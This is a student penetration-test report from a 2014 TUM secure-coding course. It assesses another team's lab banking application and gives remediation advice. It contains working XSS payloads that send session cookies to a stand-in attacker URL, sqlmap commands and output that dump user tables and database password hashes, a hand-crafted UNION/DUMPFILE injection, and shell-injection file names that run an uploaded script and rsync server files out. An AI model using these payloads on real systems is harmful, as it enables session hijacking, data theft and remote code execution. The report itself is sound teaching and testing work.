Secure Coding - Team 7- Phase 2

Magnus Jahnen, Thomas Krex, Elias Tatros

November 17, 2014

Part I

Executive Summary

This report states our findings of the black-box vulnerability identification and testing phase within the Secure Coding lecture at TUM. We were given a black-box view of a simplified banking application, developed by team 10. Our testing methodology was inspired by OWASP guidelines. We used the *OWASP Top 10* as a roadmap, testing for each of the mentioned vulnerabilities.

Information Gathering and Web Server Configuration Testing

The first steps were information gathering and web server configuration testing. This included mapping the application structure using spider tools and testing for web server misconfigurations, such as enabled directory listing. We mostly used ZAP (OWASP Zed Attack Proxy) and nikto during this phase.

Testing Authentication, Authorization and Session Handling

We continued by testing authentication, authorization and session handling. This included checking the credentials, password policies and access possibilities for regular users and employees. We also explored, whether it was possible to bypass authentication mechanisms. We found a very weak password policy and insecure direct object references, that made it possible for any user, to access sensitive files on the server. A more detailed account is given in section 2. Regarding the session handling, we found that it was possible to hijack sessions using CSRF (Cross Site Request Forgery) or Reflected XSS (Cross Site Scripting). During the second phase we also used ZAP and nikto in addition to wapiti and iMacro. More information about these vulnerabilities can be found in section 3.

Input Validation Testing

In the final step we tested for one of the most common and impactful security issues, which is insufficient input validation. We found a large attack surface with a multitude of parameters that were not validated properly. One of these allowed a persistent XSS attack that could be used to hijack employee sessions or automatically redirect users to phishing sites. This issue is described in section 3.2. Another two parameters allowed SQL Injection, which could be used for a range of attacks, from reading table names, user passwords and payment information up to dumping the bank admins credentials and gaining complete root access to the database. The SQL Injection vulnerabilties and attacks are detailed in section 4.1 and 4.2. Finally, we also found a Shell Injection vulnerability in the batch transaction file upload and processing logic. A file name chosen by the user is directly appended to the shell call, without any input sanitation. Some file name tampering, which is described in section 4.3, enabled us to execute arbitrary commands on the shell. During this final phase we used ZAP and sqlmap. A detailed explanation on how these attacks work and how the tools were used is provided in section 4.

Contents

Part II

Time Tracking Table

Chapter 1

Time Tracking Table

Time Tracking		
Name	**Time**	**Description**
Magnus Jahnen	3h	Testing the web application, getting familiar with tools
	8h	Shell Injection
	1h	Reflected XSS attack (GET parameter: flash)
	4h	Trying SQL injection at Login screen
	4h	Documentation (Report) + Presentation
	4h	Meetings
Thomas Krex	5h	Self introduction into test environment and target application
	5h	SQL-Injection with sqlmap
	5h	Persistent XSS (including Session Hijacking)
	4h	Meetings
	4h	Documentation
Elias Tatros	2h	Setup & familiarization with test environment
	2h	Analyzing the web application (e.g. ZAP Spidering)
	3h	Hand Crafted SQL-Injection (4.2)
	3h	SQL-Injection via sqlmap (4.2)
	4h	Reflected XSS attack (3.1)
	4h	Documentation (Summary, 4.2, 3.1)
	4h	Meetings

Part III

Vulnerabilities

Chapter 2

Security Misconfiguration

2.1 Observation

We discovered that the following directories are directly accessible and all files in it can be downloaded in the browser.

- *sc-course/bin*
- *sc-course/users*
- *sc-course/includes*
- *sc-course/views*
- *sc-course/views/users*
- *sc-course/includes*
- *sc-course/controllers*
- *sc-course/controllers/user*

In the first directory are the executable of the batch parser, the source code of the parser and an example file of a batch upload. In the other two are parts of the PHP source code used by the web application.

Likelihood: high

Impact: low - medium

Risk: medium

2.2 Discovery

We found that out using *zap* and *nikto*. We could then easily access the directories by entering them in the address bar of our browser.

2.3 Likelihood

The likelihood that someone is able to find these directories is very easy, because you just need some basic knowledge of the tools used. In principal you just need to start them and perform a scan on the URL of the web application.

2.4 Implication

The attacker gains more knowledge of the internal system of the application. It has access to the source code of the parser written in C and some parts of the PHP application.
By analyzing the source code it could be easier for the attacker to find further vulnerabilities he can exploit, which may have a bigger impact.

2.5 Recommendations

There should be an index file for every sub folder in the web application. Then the content of the directory is not listed by apache, but instead the index file is shown.

2.6 Comparison with our App

There is an index file in every sub directory within our web application.

Chapter 3

Cross Site Scripting Attacks

3.1 Reflected XSS

3.1.1 Observation

We discovered that the GET parameter *flash* can be used in any page of the application for reflected XSS (Cross Site Scripting) attacks. One example, where reflected XSS can be applied is on the register page:

`/sc-course/views/users/register.php?flash=<malicious code>`

The code planted by an attacker within the malicious code tag is executed in the users browser. The attacker needs to social engineer the user into clicking on a constructed link. This link may look legitimate, since it points to a web site the user trusts (in this case, his bank). This way an attacker can potentially bait a user into clicking the link, at which point the malicious code gets reflected back to the user and is executed.

There is a variety of potential attacks that become possible through exploitation of this vulnerability. For example the attacker could redirect the user to a phishing site:

Listing 3.1: Automatic Redirect to Phishing Site

```
register.php?flash=<script>window.location.href=
    "http://en.wikipedia.org/wiki/Phishing"</script>
```

This site could be made to look exactly like the original site, but actually be run by the attacker, capturing any inputs the user makes (for example, his login credentials). Due to the imitation of the original site and the automatic redirect the user might not notice any difference. Thinking he is still on the banking site he might try to login normally, at which points his login credentials are compromised.

In the next example, we steal the users session, by baiting him to click on a link that seemingly leads to his banking site:

Listing 3.2: Stealing SessionID

```
register.php?flash=<script>var userCookie = document.cookie; var
    attackSite = "http://en.wikipedia.org/wiki/Phishing?stolenCookie=";
    window.location.replace(attackSite.concat(userCookie));</script>
```

The user may be tempted to click on this link, since it is pointing to a site he trusts. However, the malicious code gets executed by the browser and automatically sends the cookie containing the session ID to the attacker. The links can be obfuscated to make their malicious contents less obvious to more knowledgable users. We can also place the link on the banking site itself, to make it look even more legitimate:

Listing 3.3: Stealing SessionID via Link on Banking Site

```
register.php?flash=<script>var userCookie=document.cookie;
    document.write("<a href=
    http://en.wikipedia.org/wiki/Phishing?stolenCookie=\"".
    concat(userCookie). concat("\"> Thank you for registering, click
    here to login. </a>")); </script>
```

Likelihood: high

Impact: medium-high

Risk: high

3.1.2 Discovery

This vulnearbility was very easy to discover. The *flash* parameter is used throughout all parts of the application to display messages. It is very intuitive to try and alter its outputs. Since no input validation is done, it becomes a very obvious injection point for reflected XSS attacks. After discovering this vulnerability we also checked with ZAP, whether any additional warnings or results would show up. ZAP noted, that the HTTPOnly flag was not set for the cookies containing the session ID. Therefore the user cookies were accessible through javascript and could be transmitted to an attacker site quite easily.

3.1.3 Likelihood

Even with only very basic skills in javascript and some knowledge about XSS attacks it is possible to steal the users session cookie and therefore impersonate any users that can be baited into clicking on a link to their banking site.

3.1.4 Implication

It is potentially possible to obtain sensitive user or employee data by running a phishing site in combination with the reflected XSS attack. Therefore this vulnerability can be used as an attack vector, to potentially obtain user or employee credentials. These can then be used for new attacks on the system.

In a different attack it is potentially possible to hijack sessions of logged in users or employes, simply by baiting them into clicking on a link that leads to their banking site.

3.1.5 Recommendations

To prevent Cross-Site-Scripting attacks, the user input has to be sanitized before inserted into the database. Go to `https://www.owasp.org/index.php/Top_10_2013-A3-Cross-Site_Scripting_(XSS)` for more information.
This observation relates to the OWASP Top-10 issues A3 - Cross-Site-Scripting

3.1.6 Comparison with our App

We tried to avoid reflected XSS attacks by not using any GET parameters and generally sanitizing input that is reflected back to the user or inserted into the database.

3.2 Persistent XSS

3.2.1 Observation

We discovered that the field "Name" in sc-course/views/users/register.php is vulnerable to persistent Cross-Site-Scripting(XSS) with the following steps:

1. Go to sc-course/views/users/register.php

2. Insert malicious js code in textfield

If the Admin goes to sc-course/views/approve_users.php the user information about new registrations are loaded out of the database. In our case the malicious code is executed when displaying the name.

There are many possibilities to exploit this vulnerability. For example the admin could be redirected to a fake site where all his inputs will be stored.

Likelihood: high

Impact: medium-high

Risk: high

3.2.2 Discovery

This vulnerability was discovered by simply testing the possible inputs for all text fields. By inserting a simple alert() command, we checked if our input was sanitized before inserted into the database. Obviously that's not the case for the name field. This vulnerability was not detected by *wapiti*, which is especially searching for possible XSS attacks.

3.2.3 Likelihood

Exploiting this vulnerability requires basic technical skills. The attacker has to know about the basics of a XSS attack and basic java-script commands. It is possible to exploit this vulnerability from Internet as normal user.

3.2.4 Implication

There are multiple possible implication of a successful attack. In combination with the unset HTTP_ONLY flag the attacker can perform an session hijacking attack. For that, the attacker uses the XSS attack to sent the current admin's session key session to himself. That's possible due to the unset HTTP_ONLY-flag. Therefore the session key can be accessed by the javascript command ¨documnet.cookie¨. Now the attacker can use this session key to bypass the authentication and act as the admin.

The unset HTTP_ONLY-flag was discovered by the tool ZAP. The attacker could also create a duplicate of the website to that the admin is redirected without even noticing. In that way, the attacker could record all inputs made by the admin.

3.2.5 Recommendations

To prevent Cross-Site-Scripting attacks, the user input has to be sanitized before inserted into the database. Go to `https://www.owasp.org/index.php/Top_10_2013-A3-Cross-Site_Scripting_(XSS)` for more information.
This observation relates to the OWASP Top-10 issues A3 - Cross-Site-Scripting

3.2.6 Comparison with our App

We avoided persistent XSS attacks by using PHP Data Objects (PDO) to query the database. This includes the usage of prepared statements, so that inputs are automatically sanitized.

Chapter 4

Injection Attacks

4.1 SQL Injection

4.1.1 Observation

We discovered that the request *host-ip/sc-course/views/transactions/tan_entry.php?transaction_id=x* is vulnerable to SQL Injections. The attacker has to be logged in as user in order to create a new transaction . After inserting an account number and an amount for the new transaction the above-named request is sent. The user now would have to insert the TAN. At this point the parameter ”transaction_id can be used for all kind SQL injections.

Likelihood: high

Impact: high

Risk: high

4.1.2 Discovery

With ZAP Spider, we were searching for GET and POST Requests with Parameters which probably will be inserted into a SQL query.

GET

- http://¡host-ip¿/sc-course/views/transactions/user.php?user_id=2
- http://¡host-ip¿/sc-course/views/transactions/tan_entry.php?transaction_id=18

In the context of SQL Injections, we ignore the Get-Requests with the flash parameter, because they're not part of SQL queries. The two URLs were tested with *sqlmap*. Although testing the first URL was unsuccessful, the result of the second test in Listing 4.1 showed that the GET-Parameter **transaction_id** is vulnerable to boolean-based blind and time-based blind SQL Injections. Boolean-based blind injections inserting statements into the parameter. By comparing different responses, the tool can infer whether a injection was successful or not. Time-based blind injections insert statements which cause the database to pause for a specific time. By comparing different response times, the tool can verify a successful statement

Listing 4.1: First Test with result

```
sqlmap -u
    "host-ip/sc-course/views/transactions/tan_entry.php?transaction_id=14"

.....

GET parameter ’transaction_id’ is vulnerable. Do you want to keep
    testing the others (if any)? [y/N] y
sqlmap identified the following injection points with a total of 202
    HTTP(s) requests:
---
Place: GET
Parameter: transaction_id
Type: boolean-based blind
Title: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY
    clause (RLIKE)
Payload: transaction_id=14’ RLIKE (SELECT (CASE WHEN (6290=6290) THEN 14
    ELSE 0x28 END)) AND ’umTL’=’umTL

Type: AND/OR time-based blind
Title: MySQL < 5.0.12 AND time-based blind (heavy query)
Payload: transaction_id=14’ AND 5296=BENCHMARK(5000000,MD5(0x46744978))
    AND ’knKI’=’knKI
---
```

The next step was to get the name of the database and the tables, as done in Listing 4.2

Listing 4.2: Get name and tables of database

```
python sqlmap.py -u
    "192.168.56.101/sc-course/views/transactions/tan_entry.php?transaction_id=14"
    --dbs
...
available databases [10]:
[*] banking_development
[*] dvwa
[*] information_schema
[*] mysql
[*] owasp10
[*] performance_schema
[*] phpmyadmin
[*] samurai_dojo_basic
[*] samurai_dojo_scavenger
[*] test


python sqlmap.py -u
    "192.168.56.101/sc-course/views/transactions/tan_entry.php?transaction_id=14"
    --tables -D banking_development

Database: banking_development
[5 tables]
+--------------+
| payments     |
| phinxlog     |
| tan_numbers  |
| transactions |
| users        |
+--------------+
```

Now you can dump a table, e.g ”users”

Listing 4.3: Dump Table ”users”

```
python sqlmap.py -u
    "192.168.56.101/sc-course/views/transactions/tan_entry.php?transaction_id=14"
    --dump -D banking_development -T users
...
[15:14:07] [INFO] retrieved: id
[15:14:07] [INFO] retrieved: name
[15:14:08] [INFO] retrieved: password
[15:14:09] [INFO] retrieved: email
[15:14:10] [INFO] retrieved: admin
[15:14:11] [INFO] retrieved: account_no
...
[15:14:14] [INFO] retrieved: 1
[15:14:14] [INFO] retrieved: t.srivishnu@gmail.com
[15:14:17] [INFO] retrieved: 1
[15:14:17] [INFO] retrieved: t.srivishnu@gmail.com
[15:14:19] [INFO] retrieved: 1234567890
[15:14:20] [INFO] retrieved: 527652613432
```

As you can see in Listing 4.3. you receive a list of the columns of the table. You also get a list of all entries. For this example only the data of the admin were chosen, but you can access every entry.

A further possibility is to break the authentication of the database by hijacking the password of the database root user.

Listing 4.4: Get password of database root user

```
python sqlmap.py -u
    "192.168.56.101/sc-course/views/transactions/tan_entry.php?transaction_id=14"
    --users --passwords -D banking_development
...
database management system users [8]:
[*] ''@'localhost'
[*] ''@'samurai-wtf'
[*] 'debian-sys-maint'@'localhost'
[*] 'phpmyadmin'@'localhost'
[*] 'root'@'127.0.0.1'
[*] 'root'@'::1'
[*] 'root'@'localhost'
[*] 'root'@'samurai-wtf'
...
database management system users password hashes:
[*]  [1]:
password hash: NULL
[*] debian-sys-maint [1]:
password hash: *3380A3DC27DEAC2CFFE40754FE91863CE3B5E786
[*] phpmyadmin [1]:
password hash: *8CE09BF054AFC740BF3C6153310E9A9565E34DE0
clear-text password: samurai
[*] root [2]:
password hash: *7D9A6BEA19329B17998DC4F1130F8E40884A227F
clear-text password: badass
password hash: *8CE09BF054AFC740BF3C6153310E9A9565E34DE0
clear-text password: samurai
```

With a integrated dictionary-based password cracking tool, you can convert the hashed password to plain text assuming weak passwords (like in our case). Now you can access the adminer web-interface and login as root.

POST

- http://192.168.56.101/sc-course/controllers/user/login_process.php (email,password)
- http://192.168.56.101/sc-course/controllers/transactions/create_process.php (transaction[payment][to_iban],transaction[payment][amount])
- http://192.168.56.101/sc-course/controllers/user/registration_process.php (user[email],user[name],user[password],user[password_confirmation],user[account_no],user[employee],user[
- http://192.168.56.101/sc-course/controllers/user/logout_process.php (logout)

The List above shows all relevant POST-Request with the corresponding Parameters in brackets. To test this parameters for possible injections, you can have a look at 4.5, where the first request is tested.

Listing 4.5: Testing POST parameters for injections

```
sqlmap -u
    "http://192.168.56.101/sc-course/controllers/user/login_process.php"
    --data 'email=nobody@in.tum.de&password=anypassword'
```

Unfortunately none of the requests is insecure in terms of SQL Injections.

4.1.3 Likelihood

Assuming that the attacker has basic knowledge about SQL Injections and knows how to use *sqlmap*, it's very likely that this vulnerability will be exploited, because a GET parameter is the vulnerable one. It's more likely that an attacker will test a GET instead of POST parameter, because it's easier to detect.

4.1.4 Implication

The vulnerability in combination with *sqlmap* leads to full compromise of all data, stored in the database. The attacker can hijack information about the names of databases, tables, columns of tables and can even dump whole tables. In our special case, it was even possible to get the users' passwords in plain text, because they weren't hashed. This is a vulnerability itself, described at `https://www.owasp.org/index.php/Top_10_2013-A6-Sensitive_Data_Exposure` You can also get the name and the password of the root user of the database. This was benefited by a weak password, whereby the plain password could be recovered from the received hash within seconds. This results in full write access to the database for the attacker.

4.1.5 Recommendations

It's highly recommended, that all inputs for SQL queries are sanitized by escaping the ' character. Another option is to create query objects by using Prepared Statements. These objects will automatically sanitized all inputs. For more information, please go to `https://www.owasp.org/index.php/SQL_Injection`

This observation is related to OWASP Top 10-A1-Injections and to OWASP Top 10-A6-Sensitive-Data-Exposure.

4.1.6 Comparison with our App

We avoided SQL Injection by using Prepared Statements. Therefore the user inputs are sanitized and injections like shown above are not possible. To be sure we did the same test as mentioned before without finding any vulnerable parameters.

4.2 SQL Injection 2

4.2.1 Observation

We found a second possibility for a SQL Injection, which in combination with the misconfigured directory listing can lead to database leakage. Furthermore compromise of user, employee and mysql user credentials is possible through the usage of sqlmap.

Likelihood: medium - high

Impact: high

Risk: high

4.2.2 Discovery

The vulnerable GET parameter was found using ZAP. While spidering through the application ZAP noted that the parameter *id* on the page *display.php* may be vulnerable to SQL Injections. Although fuzzing the parameter with ZAP SQL Injection payloads does not produce any noticable results, we managed to hand-craft a payload that can compromise the bank systems admin credentials. The payload can also be altered to obtain any other data within the database.

Listing 4.6: The vulnerable parameter

```
/sc-course/views/transactions/display.php?id=1
```

The GET parameter *id* seems to be used in an SQL Select statement. While it is easy to select other data as well through a union statement, the output on the web page does not reflect that additional data. Since only a certain portion of the selected data is displayed on the page, we needed to obtain the other data through other means. Therefore we altered the statement to create a dumpfile of the selected data. Since the webservers configuration allows directory listing it is very easy to access the created file and read out all of the data. The final statement is as follows:

Listing 4.7: Dumping admin credentials to file via Injection

```
display.php?id=1’ UNION SELECT * FROM users INTO DUMPFILE
    ’adminCredentials’ -- "
```

This will write the admin credentials to a file. The attacker can place this file into an accessible directory or use the shell injection vulnerability (presented in the following section), to upload the file.

Listing 4.8: File Contents

```
12014-10-26 17:47:2128910000-00-00-00
    00:00:001t.srivishnu@gmail.com1234567890t.srivishnu@gmail.com1
```

It is not hard to identify the admin user name and password from this information. By altering the select statement it becomes possible to dump the credentials of any known or suspected users. Furthermore it is possible to dump entire tables using the mysql OUTFILE command.

It is also possible to run sqlmap on this parameter, resulting in the same breaches that were found during the first SQL Injection attack in the previous section.

Listing 4.9: Using sqlmap on id parameter in display.php

```
>C:\Python27\python C:\sqlmap\sqlmap.py -u
    192.168.56.102/sc-course/views/transactions/
display.php?id=1 --dump -D banking_development -T users
```

4.2.3 Likelihood

The hand-crafted exploit took quite a while to design and requires some knowledge. However, given a vulnerable parameter like the *id* parameter in display.php, an attacker can just use sqlmap to do the work for him. The tool is very effective and can dump the entire database in a few seconds, no skills required.

4.2.4 Implication

The entire database is compromised, along with all user credentials. This includes payment data, TAN numbers, personal details and login credentials. The implications are further amplified by the fact that user passwords are for some reason stored in plain text. No hashing or salting is applied.

4.2.5 Recommendations

It is highly recommended, that all inputs for SQL queries are properly sanitized. The developers should at least have used *mysql_real_escape_string* in addition to single quotes. A better approach would be to create query objects and use prepared statements. More information can be found at `https://www.owasp.org/index.php/SQL_Injection`

This observation is related to OWASP Top 10-A1-Injections and to OWASP Top 10-A6-Sensitive-Data-Exposure.

4.2.6 Comparison with our App

We avoided SQL Injection by using Prepared Statements. To the best of our knowledge all user inputs are sanitized and injections like shown above are not possible. Furthermore we do not make use of GET parameters. We tried running sqlmap on our application, without finding any vulnerable parameters.

4.3 Shell Injection

4.3.1 Observation

During the vulnerability testing of the batch transaction we discovered a shell injection. When uploading a file, it seems that the original file name the user chose is directly appended to the executable name of the C program and then given to the shell. Due to this we can use the file name to execute other programs, we even managed it to let the file be executed by bash.

Likelihood: medium - high

Impact: high

Risk: high

4.3.2 Discovery

The discovery was easily found by simply uploading a file called *&& sleep 30*. We then noticed that the response of the server is delayed by about 30 seconds. This was reason enough to try some more. We then tried to execute code which will download the */var/www* directory to our local box. The main problem was that it is not possible to use slashes in Unix file names. That means we can not easily change directories or name the file something like this:

Listing 4.10: File with '/' (does not work)

```
&& rsync /var/www mybox::myshare
```

Due to this we wanted to be the uploaded file be interpreted by bash on the host, so we could just write a simple bash script with the following content:

Listing 4.11: Bash Script to Get PHP Code

```
rsync /var/www mybox::myshare
```

The problem is, we need to somehow integrate the bash execution in our file name like this:

Listing 4.12: Executing code via bash

```
... && bash script.sh
```

That means that we need somehow get to the directory the uploaded file is located, we assumed */tmp/$filename*.

So we need to change the directory to */tmp/*. We archived that to create a temporary directory, change to it, and then change to the upper directory like illustrated in Listing 4.13. We had to do that because we cannot use slashes in the file name.

Listing 4.13: Change to */tmp/*

```
&& dir=‘mktemp‘ && cd dir && cd ..
```

Now we are in the directory were our shell script was uploaded. Now we have to execute it. Unfortunately this is pretty hard, because we cannot simply reference the script via the file name, because the file name is also the command we want to inject and we would then get into some recursive loop specifying the hole file name. The solution is to rename the file to some easier name like*script.sh* and then execute it, illustrated in Listing 4.14.

Listing 4.14: Rename the file

```
 ... && mv *.sh script.sh && bash script.sh
```

We are moving the file **.sh* to script.sh (Our uploaded file ends with *.sh*).

Listing 4.15 shows the complete file name[1] which we have used to execute our code.

Listing 4.15: Complete File Name

```
&& dir=‘mktemp‘ && cd dir && cd .. && rm -rf script.sh && mv *.sh
    script.sh && bash script.sh
```

The command sent to the shell by the PHP code would look similar to this:

Listing 4.16: Shell Command executed by PHP

```
./cparser && dir=‘mktemp‘ && cd dir && cd .. && rm -rf script.sh && mv
    *.sh script.sh && bash script.sh
```

4.3.3 Likelihood

It took us hours to get this exploit working, but with some basic knowledge of the Unix Shell and Linux this exploit was possible with moderate effort.

4.3.4 Implication

A successful attack makes the server executing any code or program you like. We managed to get the hole PHP source code, where e.g. the database password

[1] The *rm -rf script.sh* is used to delete any script which was uploaded by a former attack, otherwise renaming the file would fail because *script.sh* would already exist.

is stored. It would be also possible to get other files like */etc/passwd* or execute other malicious code!

4.3.5 Recommendations

The easiest way to fix this issue is to use temporary randomly assigned file names and get rid of the one the user chose (Do not trust the user's input!). Normally this is done automatically by PHP, moving the file to the originally chosen file name by the user is optional but part of most tutorials on the Internet.

4.3.6 Comparison with our App

Our application is always using the temporary name PHP saved the file under. That means the application is not affected by this vulnerability, because we do not care about the user given name of the file.